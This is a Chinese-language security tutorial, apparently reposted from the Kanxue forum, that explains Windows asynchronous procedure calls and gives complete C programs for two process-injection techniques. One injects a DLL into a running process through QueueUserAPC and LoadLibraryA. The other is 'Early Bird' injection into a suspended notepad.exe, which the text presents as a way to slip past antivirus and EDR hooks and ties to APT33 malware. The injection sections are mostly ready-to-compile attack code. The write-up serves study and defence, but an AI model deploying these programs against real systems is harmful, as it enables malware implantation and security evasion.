1
APC介绍
1.1 定义
根据 MSDN 上的定义, APC(Asynchronous Procedure Call 异步过程调用)是在特定线程的上下文中异步执行的函数。具体来说,每个 APC 函数是与特定线程相关联的,每个线程有 APC 队列,存储着 APC 函数。但这并不是说线程被创建和执行了, APC 就一定会被调用。一般情况下,用户态线程调用 APC 函数要具备两个条件:
◆线程的 APC 队列不为空,存有可供调用的APC函数;
◆线程处于可警告(Alertable)状态;
(本文暂不讨论内核态的 APC)
1.2 线程何时处于可警告的状态
线程在调用SleepEx
,SignalObjectAndWait
,MsgWaitForMultipleObjectsEx
,WaitForMultipleObjectsEx
或WaitForSingleObjectEx
函数时进入可警告状态。
1.3 如何手动增加 APC 函数
与用户态APC相关的函数只有一个:QueueUserAPC
。QueueUserAPC
函数允许将一个用户定义的函数添加到指定线程对应的APC队列中。
DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC, //指向一个APC函数
[in] HANDLE hThread, //将要插入APC的线程句柄,句柄必须具有 THREAD_SET_CONTEXT 访问权限。
[in] ULONG_PTR dwData //APC函数的参数
);
//如果该函数成功,则返回值为非零值。如果函数失败,则返回值为零。
1.4 APC 的执行顺序
先进先出,即先被加入 APC 队列的函数会在线程处于可警告状态时,会先被执行。下面有一个小的测试程序。
#include <stdio.h>
#include <windows.h>
// APC 函数
VOID CALLBACK MyAPCProc1(ULONG_PTR dwParam) {
printf("MyAPCProc1已被调用: %lun", dwParam);
}
VOID CALLBACK MyAPCProc2(ULONG_PTR dwParam) {
printf("MyAPCProc2已被调用: %lun", dwParam);
}
int main() {
// 获取当前线程的 ID
DWORD threadId = GetCurrentThreadId();
// 打开当前线程 (实际上不需要打开,GetCurrentThreadId() 已经给我们了句柄)
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT, FALSE, threadId);
if (hThread == NULL) {
fprintf(stderr, "线程打开失败: %lun", GetLastError());
return 1;
}
// 将 APC 排队到当前线程
DWORD result1 = QueueUserAPC(MyAPCProc1, hThread, 123); // 123 是传递给 MyAPCProc1 函数的参数
if (result1 == 0) {
fprintf(stderr, "MyAPCProc1加入APC队列失败: %lun", GetLastError());
CloseHandle(hThread);
return 1;
}
printf("函数MyAPCProc1已被被加入到线程的APC队列中。n");
DWORD result2 = QueueUserAPC(MyAPCProc2, hThread,456); // 456 是传递给 MyAPCProc2 函数的参数
if (result2 == 0) {
fprintf(stderr, "MyAPCProc2加入APC队列失败: %lun", GetLastError());
CloseHandle(hThread);
return 1;
}
printf("函数MyAPCProc2已被被加入到线程的APC队列中。n");
printf("即将进入可警告状态 (SleepEx).n");
// 进入可警告状态 (SleepEx), 这是 APC 执行所必需的
SleepEx(INFINITE, TRUE); // TRUE 表示进入可警告状态
// 即使线程进入可警告状态,APC函数也可能还未完成
CloseHandle(hThread);
printf("退出主线程n");
return 0;
}
运行结果如下图所示:
如果删掉SleepEx(INFINITE, TRUE)
,线程不处于可警告状态, 那么两个 APC 函数就不会被调用,运行结果如下图所示:
2
APC注入
2.1 原理
APC注入是利用Windows的异步过程调用机制 APC,将代码注入到目标线程的APC队列。当线程进入可警告状态(如调用SleepEx)时,系统会执行APC队列中的函数,从而实现代码注入。
2.2 被注入程序
将下面代码编译成APCTest.exe
程序在主线程启动后,一直处于可警告状态,方便注入。
#include <stdio.h>
#include <Windows.h>
int main()
{
while (1)
{
printf("小心注入rn");
SleepEx(1000, TRUE);
}
return 0;
}
2.3 APC 注入程序
为了让代码简洁一点,就直接根据由 PCHunter 的APCTest.exe
进程 PID 获取进程句柄,根据线程 ID 获取线程句柄。
#include <stdio.h>
#include <Windows.h>
int main()
{
//打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 1111);//根据实际情况获取PID
if (!hProcess)
{
printf("进程打开失败rn");
return -1;
}
//打开线程
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, 2222);//根据实际情况获取线程ID
if (!hThread)
{
printf("打开线程失败rn");
return -1;
}
//获取loadlibraryA
HMODULE hModule = GetModuleHandleA("kernel32.dll");
PVOID func = (PVOID)GetProcAddress(hModule, "LoadLibraryA");
printf("%xrn", func);
system("pause");
//给目标进程申请内存,存dll路径
PUCHAR targetMemory = (PUCHAR)VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!targetMemory)
{
printf("申请内存失败rn");
return -1;
}
printf("targetMemony :%xrn", targetMemory);
system("pause");
//dll路径
char* dllpath = "C:\Users\finback\Desktop\MyDll.dll";
//给目标进程写内容
if (!WriteProcessMemory(hProcess, targetMemory, dllpath, strlen(dllpath) + 1, NULL))
{
printf("写入失败rn");
return -1;
}
QueueUserAPC((PAPCFUNC)func, hThread, (ULONG_PTR)targetMemory);
system("pausern");
return 0;
}
运行结果如下图所示:
PCHunter 查看运行的APCTest.exe
进程模块中多了注入的 MyDll.dll。
3
Early Bird 注入
3.1 技术起源
反病毒软件和 EDR 等安全产品通过 Hook 关键的 Windows API(如CreateProcess
、CreateRemoteThread
、LoadLibrary
等)来监控和拦截可疑的代码注入行为。为了规避上述安全机制,Early Bird 注入(早鸟注入)应运而生。它的核心目标是在目标进程初始化阶段,安全机制尚未完全加载或生效时,完成代码注入。伊朗黑客组织 APT33 利用该项注入技术将 TrunedUp 恶意软件植入受感染系统内部,并绕过反病毒软件工具。2018年4月11日,网络安全公司 Cyberbit 的研究人员发表了一篇名为 《New ‘Early Bird’ Code Injection Technique Discovered》 的文章,详细分析了 Early Bird 注入的原理和实现。
3.2 原理
Early Bird 注入是指一种利用Windows进程创建机制进行代码注入的技术。其原理是在目标进程的主线程开始执行之前,将代码注入到进程中。
具体步骤包括:
1.以挂起状态(CREATE_SUSPENDED
)创建目标进程;
2.在目标进程中分配内存并写入恶意代码;
3.修改主线程的上下文或将写入的恶意代码添加到 APC 队列中;
4.在主线程执行前,执行写入的恶意代码;
5.恢复主线程;
这种方法隐蔽性高,适用于新创建的进程。下面就介绍如何使用APC机制进行Early Bird 注入。
3.3 关键 API
那么问题来了,当线程处于可警告状态时,才会调用 APC 函数。进程刚创建、 线程初始化时也没有调用 SleepEx()之类的函数,线程是不是处于可警告状态呢?
答案是肯定的。
线程初始化时会调用位于内核模块 ntoskrnl.exe 中的PspUserThreadStartup函数,该函数负责初始化用户态线程的上下文,并最终将控制权交给用户态代码,具体来说是函数LdrInitializeThunk。
LdrInitializeThunk调用ntdll中的ZwTestAlert,ZwTestAlert调用KeTestAlertThread。用Source Insight查看WRK中的KeTestAlertThread如下所示:
BOOLEAN KeTestAlertThread (
__in KPROCESSOR_MODE AlertMode
)
{
BOOLEAN Alerted;
KLOCK_QUEUE_HANDLE LockHandle;
PKTHREAD Thread;
ASSERT(KeGetCurrentIrql() <= DISPATCH_LEVEL);
Thread = KeGetCurrentThread();
KeAcquireInStackQueuedSpinLockRaiseToSynch(&Thread->ApcQueueLock,
&LockHandle);
Alerted = Thread->Alerted[AlertMode];
if (Alerted == TRUE) {
Thread->Alerted[AlertMode] = FALSE;
} else if ((AlertMode == UserMode) &&
(IsListEmpty(&Thread->ApcState.ApcListHead[UserMode]) != TRUE)) {
Thread->ApcState.UserApcPending = TRUE;
}
KeReleaseInStackQueuedSpinLock(&LockHandle);
return Alerted;
}
Thread->ApcState.UserApcPending 是一个标志,表示当前线程是否有待处理的用户态 APC。
当这个标志为 TRUE 时,线程会在以下情况下检查并执行 APC:
● 线程从内核态返回到用户态时。
● 线程调用某些允许 APC 执行的系统调用时(如 SleepEx、WaitForSingleObjectEx 等)。
当线程被创建时,其用户态 APC队列理论上为空。然而,在某些情况下,由于内核操作或之前的线程状态,可能会残留APC。ZwTestAlert的功能即是在线程初始化时检查并处理这些残留的APC,执行后清空队列。这一操作确保了线程以可预测的状态启动,避免残留APC对程序执行产生干扰,进而防止潜在的异常、崩溃或安全漏洞。
Early Bird注入正是利用这一机制,在线程初始化阶段注入代码,使注入的代码在主线程开始执行前运行。
3.4 Early Bird 注入程序
#include <stdio.h>
#include <Windows.h>
int main() {
char* dllpath = "C:\Users\finback\Desktop\MyDll.dll";
// 初始化STARTUPINFO和PROCESS_INFORMATION结构
STARTUPINFOA st = { 0 };
PROCESS_INFORMATION prt = { 0 };
st.cb = sizeof(st);
// 以挂起状态创建目标进程(如notepad.exe)
if (!CreateProcessA(
"C:\Windows\System32\notepad.exe", //目标进程路径
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, //创建挂起状态
NULL, NULL, &st, &prt ))
{
printf("无法创建目标进程,错误代码: %dn", GetLastError());
return 1;
}
// 获取目标进程和主线程的句柄
HANDLE victimProcess = prt.hProcess;
HANDLE threadHandle = prt.hThread;
// 在目标进程中分配内存,用于存储Shellcode
PUCHAR shellAddr = (PUCHAR)VirtualAllocEx(
victimProcess, NULL, 0x1000, MEM_COMMIT,
PAGE_EXECUTE_READWRITE // 内存权限:可执行、可读、可写
);
if (shellAddr == NULL) {
printf("无法在目标进程中分配内存,错误代码: %dn", GetLastError());
TerminateProcess(victimProcess, 0); // 终止目标进程
CloseHandle(victimProcess);
CloseHandle(threadHandle);
return 1;
}
// 将dll写入目标进程的内存
if (!WriteProcessMemory(
victimProcess, shellAddr, dllpath,
strlen(dllpath) + 1,NULL))
{
printf("无法写入目标进程内存,错误代码: %dn", GetLastError());
VirtualFreeEx(victimProcess, shellAddr, 0, MEM_RELEASE); // 释放内存
TerminateProcess(victimProcess, 0); // 终止目标进程
CloseHandle(victimProcess);
CloseHandle(threadHandle);
return 1;
}
HMODULE hModule = GetModuleHandleA("kernel32.dll");
PVOID func = (PVOID)GetProcAddress(hModule, "LoadLibraryA");
// 将APC函数排入目标线程的APC队列
if (!QueueUserAPC(
(PAPCFUNC)func, // APC函数
threadHandle, // 目标线程句柄
(ULONG_PTR)shellAddr // 传递给APC函数的参数
)) {
printf("无法队列APC,错误代码: %dn", GetLastError());
VirtualFreeEx(victimProcess, shellAddr, 0, MEM_RELEASE); // 释放内存
TerminateProcess(victimProcess, 0); // 终止目标进程
CloseHandle(victimProcess);
CloseHandle(threadHandle);
return 1;
}
// 恢复目标线程的执行
ResumeThread(threadHandle);
// 关闭句柄
CloseHandle(victimProcess);
CloseHandle(threadHandle);
printf("注入成功n");
return 0;
}
运行结果如下图所示:
需要注意的是,注入的弹窗 DLL 运行后,需要点击“确定”关闭弹窗,记事本的窗口才会出现,这也证明了前面提到的,注入代码会在主线程开始执行前运行。
4
参考文章
-
https://www.secrss.com/articles/2010
-
https://idiotc4t.com/code-and-dll-process-injection/early-bird
-
https://blog.csdn.net/xsinlink/article/details/139360130
-
https://www.cnblogs.com/sumiceBlog/p/17638690.html
-
https://forum.butian.net/share/2224
-
https://www.cyberbit.com/endpoint-security/new-early-bird-code-injection-technique-discovered/
看雪ID:ZyOrca
https://bbs.kanxue.com/user-home-944427.htm
#
原文始发于微信公众号(看雪学苑):APC 与 Early Bird注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论